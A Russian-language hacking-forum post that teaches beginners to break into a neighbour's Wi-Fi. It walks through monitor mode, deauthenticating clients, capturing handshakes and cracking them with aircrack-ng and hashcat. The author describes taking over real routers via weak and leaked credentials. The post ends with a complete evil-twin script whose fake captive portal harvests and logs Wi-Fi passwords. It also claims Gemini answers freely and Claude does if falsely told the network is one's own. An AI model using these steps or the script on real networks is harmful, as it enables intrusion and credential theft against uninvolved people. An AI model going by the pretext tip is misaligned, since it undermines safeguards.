LIMB
Вход Регистрация

тема

Взламываем WIFI соседа и получам доступ в админ панель с root правами

Arch · · 0 ответов · 503 просмотров

Автор: Arch
Пишу статью специально для forum.LIMB.cc

Введение

Заметил на этом форуме нет статьи для новичков по взлому wifi. А ведь с этого как правило новички начинают свой путь) В этой статье я не покажу вам какие-то новые способы взлома точки доступа, лишь объясню доступным языком для новичка как взломать вайфай в 2026 году.

Теория

Wi-Fi (сокращение от Wireless Fidelity) это технология беспроводной локальной сети, которая использует высокочастотные радиоволны для передачи цифровых данных между устройствами и интернетом.
На техническом уровне Wi-Fi представляет собой семейство стандартов беспроводной связи IEEE 802.11, работающих на стыке физического (PHY) и канального (MAC) уровней модели OSI.

Как это устроена архитектура связи​

  • Точка доступа (роутер): Выступает в роли базовой станции. Она подключена к интернету через физический кабель (Ethernet/оптоволокно), преобразует этот проводной трафик в радиосигнал и транслирует его в эфир.
  • Клиентские устройства: Смартфоны, ноутбуки и датчики умного дома оснащены Wi-Fi чипами и антеннами. Они улавливают радиоволны, декодируют их обратно в цифровой формат (нули и единицы) и отправляют свои ответные радиозапросы.

     Передача ведется на нелицензируемых частотах 2.4 ГГц (дальнобойная, но медленная), 5 ГГц (быстрая, но хуже пробивает стены) и 6 ГГц (сверхбыстрая, свободная от п
    омех магистраль в стандартах Wi-Fi 6E/7/8).

     Частоты
     (в контексте радиосвязи и Wi-Fi) это физический ресурс, представляющий собой скорость колебания радиоволн в секунду.
    Они определяют, на каких физических «волнах» передатчик (роутер) и приемник (смартфон) будут обмениваться зашифрованными цифровыми данными.
    Частота измеряется в Герцах (Гц). В сфере Wi-Fi используются Гигагерцы (ГГц): 1 ГГц = 1 миллиард колебаний радиоволны в секунду.

    Канал Wi-Fi это узкая фиксированная полоса частот внутри общего радиодиапазона, выделенная для обмена данными между конкретным роутером и устройствами.
Проще говоря роутеры работают на частотах 2.4 ггц или 5 ггц или 6 ггц если все роутеры в многоквартирном доме работали бы на одной частоте и по одному каналу, то вайфай не работал бы, канал забивался) Для этого есть каналы которые изолируют чужие сигнал и вы спокойно принимаете сигналы. Современные роутеры сами сканируют эфир и выбирают свободный канал.

Вы наверное замечали что в отличии от многоквартирных домов в частных вайфай куда стабильнее и абонентская плата выше. Дело в том что в частном доме соседи находятся далеко от вас и не мешаются в эфире = вы получаете гарантийную скорость.

Иногда можно заметить что точка под одним тем же ESSID (название wifi точки) имеет разный суффикс 2.4ГЦ и 5ГЦ. Дело в том что техника в умном доме не нуждается в высокой скорости, а вот чтобы сквозь стены работало иногда нужно поэтому для умного дома выдялеют отдельную точку с частотой 2.4ГЦ. Но это только одна из причин часто китайские гаджеты используют дешевые чипы и поддерживают только 2.4ГЦ поэтому им отдают сеть с 2.4ГЦ, а устройствами пк/мобилкам 5G/6G. Ну и конечно изоляция) Всякие старые китайские камеры и др гаджеты лучше изолировать, чтобы если даже злоумышленник получит доступ, то не ко всей сети.

Современные роутеры имеют более 1 антенны обычно 2/4/8. Сделано это чтобы избегать очередей например если антенн 4, то два айфона займут все 4 антенны. А вот если антенна была бы одна, то кто-то из телефонов ожидал бы очередь.

BSSID (Basic Service Set Identifier): Это MAC-адрес радиомодуля конкретного роутера. Если у вас двухдиапазонный роутер, у него будут разные BSSID для 2.4 ГГц и для 5 ГГц. Именно по BSSID ваш телефон понимает, от какого конкретно роутера прилетел пакет.

SSID (Service Set Identifier): Сетевое имя вашего Wi-Fi (например, Home_Internet). Это понятное человеку текстовое название сети.

ESSID (Extended Service Set Identifier): Объединение нескольких роутеров (например, в Mesh-системе) под одним общим именем. У вас может быть три роутера в доме с одинаковым SSID, но у каждого будет свой уникальный BSSID.

Начиная с современных версий iOS и Android, смартфоны больше не отправляют свой настоящий заводской MAC-адрес при поиске Wi-Fi сетей на улице. Они генерируют случайный временный MAC-адрес. Это сделано для того, чтобы торговые центры и маркетологи не могли отслеживать ваши перемещения по городу по включенному Wi-Fi модулю.

Не удалось прогрузить медиа



Ну и последнее что нужно знать есть материал котроый блокирует WIFI - это металл/вода/камень и т.д. Вы можете свой телефон обмотать фальгой и он потеряет связь с вашим роутером.

Установка утилит для взлома WIFI

sudo pacman -S aircrack-ng
sudo pacman -S macchangerю
sudo pacman -S wifite
sudo pacman -S hcxtools hcxdumptool
yay -S pixiewps
yay -S reaver
sudo pacman -S hashcat

Актульные техники взлома WIFI

Для написания этой статьи я взломал две точки с помощью утилиты airodump-ng перехватил handshake и сбрутил его с помощью hashcat используя стандартный словарь rockyou. Вторую точку взломан с помощью hxcdumptool тоже с помощью hashcat сбрутил пасс. Сбрутить пароль от вайфай как правило это не самая сложная задача люди часто ставят простой пароль который есть в стандартных словарях или же доступен пин который можно перебрать используя маску в hashcat. Пароль может состоять из номера телефона с кодом страны или без, также имя + дата рождения вообщем перебрать реально или обратиться к форумным брутерам. Также с помощью утилиты aireplay-ng я выкидывал подключенных клиентов. Сразу скажу что не все точки можно взломать если используется современный метод шифрования, сложный пароль, защита от перебора пина и т.д. Но по моей статистике больше точек можно взломать)

Если у вас возникают трудности вы можете обратиться к ИИ google AI (Gemini) расскажет как взломать вайфай у него нет на это цензуры, claude тоже может но ему надо сообщить что точка ваша и вы проводите аудит.

wifite это автоматический софт который ломает вайфай (надстройка над airodump-ng).
reaver утилита которая помогает ломать пин онлайн
pixiewps утилита которая ломает пин оффлайн

Все эти техники старые, но рабочие.

Ломаем чужой WIFI и получаем доступ в админ панель

sudo hcxdumptool -i wlp0s20f3 -w wifihome.pcapng --rds=2

Первую точку ломанул вот так) Ничего сложного.

Первое что мы делаем это прописываем ifconfig и смотрим как называется наш беспроводной интерфейс. В моем случае wlp0s20f3

Не удалось прогрузить медиа


сканим доступные сети поблизости. Лично я выбирал для взлома точки у которых сигнал самый сильный.

Для того чтобы запустить скан нужно перевестись в режим мониторинга. Лично я делаю вот так


modprobe -r iwlmvm iwlwifi && modprobe iwlmvm iwlwifi
ip link set wlp0s20f3 down
airmon-ng check kill
iw dev wlp0s20f3 set type monitor
ip link set wlp0s20f3 up

Обратите внимание у вас после этого пропадет доступ к интернету чтобы его вернуть проще всего ребутнуть машину или же NetManager. Спросите у ИИ поможет)

sudo airodump-ng wlp0s20f3

Ожидайте спустя время покажет доступные точки.

Не удалось прогрузить медиа


И не только точки, но и мак адреса клиентов которые подключены (можно использовать чтобы притвориться клиентом если фильтрация есть по макадресу) или же отключить их.

Beacons - это говорит нам сеть что вот я есть, мой ESSID, тип шифрования и т.д. Вообщем информация о точке.
CH - канал на котором работает
Data - зашифрованный шум который передает клиент

Дальше остается слушать трафик и ждать пока клиент переподключится чтобы записать хэндшейк. Или можно его отключить чтобы он потом переподключился)

sudo airodump-ng wlp0s20f3 -c <канал> --bssid <заполнить> -w name.cap

Как только хэндшейк прилетит ставьте брутить

aircrack-ng name.cap -w /home/user/rockyou.txt

Не удалось прогрузить медиа


В моем случае пин от wifi был: 21022000

Далее первое что я сделал это просканил локальную сеть

Не удалось прогрузить медиа


Как мы видим домен bbrouter, а сам роутер китайский админка доступна по сути 10.0.0.10:80

Не удалось прогрузить медиа


Я попробовал admin:admin не прошло и загуглил дефолт креды

Не удалось прогрузить медиа


Было бы не так интересно если сразу попал в админку под дефолт кредами. Мне удалось войти в учетку user с паролем 123456. Прав соответсвенно не было так много, интерфейс отличается если есть админка. Я вообще думал что read only, чтобы проверить так ли это я добавил один единственный мак адрес в allow list и не смог после этого подключиться к сети даже после того как мак сменил. И так продолжалось где-то два дня. Я эти 2 дня потратил на то чтобы ломануть другие точки, но к сожалению не получилось. Далее как сеть появилась я вошел под юзером и просек что если скачать текущие настройки там креды от админки хранятся в открытом доступе.

Не удалось прогрузить медиа


креды для доступа admin:super&123

Не удалось прогрузить медиа


И того мы в админке. Менять пароль, ESSID, отключать клиентов от сети и так далее не интересно. Я на досуге подумаю как из этого доступа сделать впн/прокси или атаковать клиентов и мб напишу отдельную статью.

Создаем EVILTWIN (бонус)

Bash:
#!/bin/bash
# ============================================================
# Captive Portal Evil Twin полный запуск с нуля
# Меняй переменные под себя
# ============================================================


IFACE="wlp0s20f3"       # твой Wi-Fi интерфейс
SSID="Fake"         # имя точки
CHANNEL="6"              # канал (должен совпадать с каналом цели)
GATEWAY="10.0.0.1"       # IP твоей точки
DHCP_START="10.0.0.10"
DHCP_END="10.0.0.250"
LOG_FILE="/root/captive/captured.txt"
PORTAL_SCRIPT="/root/captive/portal.py"


# ============================================================
echo "[*] Останавливаем мешающие сервисы..."
systemctl stop NetworkManager 2>/dev/null
systemctl stop wpa_supplicant 2>/dev/null
pkill hostapd 2>/dev/null
pkill dnsmasq 2>/dev/null
pkill -f portal.py 2>/dev/null
sleep 1


# ============================================================
echo "[*] Настраиваем интерфейс..."
ip link set $IFACE down
iw dev $IFACE set type managed
ip addr flush dev $IFACE
ip link set $IFACE up
ip addr add $GATEWAY/24 dev $IFACE
iw dev $IFACE set power_save off


# ============================================================
echo "[*] Пишем конфиг hostapd..."
cat > /tmp/hostapd.conf << HOSTAPD
interface=$IFACE
driver=nl80211
ssid=$SSID
hw_mode=g
channel=$CHANNEL
ieee80211n=0
wmm_enabled=0
HOSTAPD


# ============================================================
echo "[*] Пишем конфиг dnsmasq..."
cat > /tmp/dnsmasq.conf << DNSMASQ
interface=$IFACE
bind-interfaces
dhcp-range=$DHCP_START,$DHCP_END,12h
dhcp-option=3,$GATEWAY
dhcp-option=6,$GATEWAY
address=/#/$GATEWAY
no-resolv
DNSMASQ


# ============================================================
echo "[*] Создаём captive portal скрипт..."
mkdir -p /root/captive
cat > $PORTAL_SCRIPT << 'PORTAL'
from flask import Flask, request, redirect


app = Flask(__name__)


LOG_FILE = '/root/captive/captured.txt'


PAGE = '''<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Wi-Fi Login</title>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
    font-family: -apple-system, Arial, sans-serif;
    background: #f2f2f2;
    display: flex;
    justify-content: center;
    align-items: center;
    min-height: 100vh;
    padding: 20px;
}
.card {
    background: #fff;
    border-radius: 12px;
    box-shadow: 0 2px 10px rgba(0,0,0,0.1);
    padding: 30px 25px;
    width: 100%;
    max-width: 360px;
    text-align: center;
}
h2 { margin-bottom: 20px; font-size: 20px; }
input {
    width: 100%;
    padding: 14px;
    margin-bottom: 15px;
    border: 1px solid #ddd;
    border-radius: 8px;
    font-size: 16px;
}
button {
    width: 100%;
    padding: 14px;
    background: #007aff;
    color: #fff;
    border: none;
    border-radius: 8px;
    font-size: 16px;
    cursor: pointer;
}
</style>
</head>
<body>
<div class="card">
    <h2>Sign in to Wi-Fi</h2>
    <form method="post">
        <input name="password" type="password" placeholder="Password" required>
        <button type="submit">Connect</button>
    </form>
</div>
</body>
</html>'''


APPLE_HOSTS = [
    'captive.apple.com', 'www.apple.com',
    'connectivitycheck.gstatic.com', 'clients3.google.com',
    'connectivitycheck.android.com', 'msftconnecttest.com',
]
APPLE_PATHS = ['hotspot-detect.html', 'generate_204', 'success.html']


@app.route('/', defaults={'path': ''}, methods=['GET', 'POST'])
@app.route('/<path:path>', methods=['GET', 'POST'])
def captive(path):
    ua   = request.headers.get('User-Agent', '')
    host = request.headers.get('Host', '').split(':')[0]


    print(f"[REQ] host={host} path=/{path} ua={ua[:60]}")


    is_check = (
        any(h in host for h in APPLE_HOSTS) or
        any(p in path for p in APPLE_PATHS) or
        'CaptiveNetworkSupport' in ua
    )


    if is_check:
        print(f"[CHECK] captive redirect -> host={host}")
        return redirect('http://10.0.0.1/', code=302)


    if request.method == 'POST':
        pwd = request.form.get('password', '')
        with open(LOG_FILE, 'a') as f:
            f.write(pwd + '\n')
        print(f"[GOT] password: {pwd}")
        return "Connected! You may now browse."


    return PAGE


if __name__ == '__main__':
    print("[*] Portal running on http://10.0.0.1:80")
    app.run(host='10.0.0.1', port=80, debug=False)
PORTAL


# ============================================================
echo "[*] Запускаем hostapd..."
hostapd /tmp/hostapd.conf -B
sleep 2


if ! pgrep -x hostapd > /dev/null; then
    echo "[!] hostapd не запустился — смотри ошибки выше"
    exit 1
fi
echo "[+] hostapd запущен"


# ============================================================
echo "[*] Запускаем dnsmasq..."
dnsmasq -C /tmp/dnsmasq.conf
sleep 1
echo "[+] dnsmasq запущен"


# ============================================================
echo "[*] Настраиваем iptables..."
iptables -t nat -F
iptables -t nat -A PREROUTING -i $IFACE -p tcp --dport 80 -j DNAT --to-destination $GATEWAY:80
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "[+] iptables настроен"


# ============================================================
echo ""
echo "========================================="
echo "[+] Точка '$SSID' поднята на канале $CHANNEL"
echo "[+] Gateway: $GATEWAY"
echo "[+] Лог паролей: $LOG_FILE"
echo "[+] Запускаем captive portal..."
echo "========================================="
echo ""


python3 $PORTAL_SCRIPT

Это лишь сырая идея, модернизируйте скрипт и верстку под свой кейс.

Всем спасибо за прочтение.
👍48 ❤️4 👏6 🤔12 💯12

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.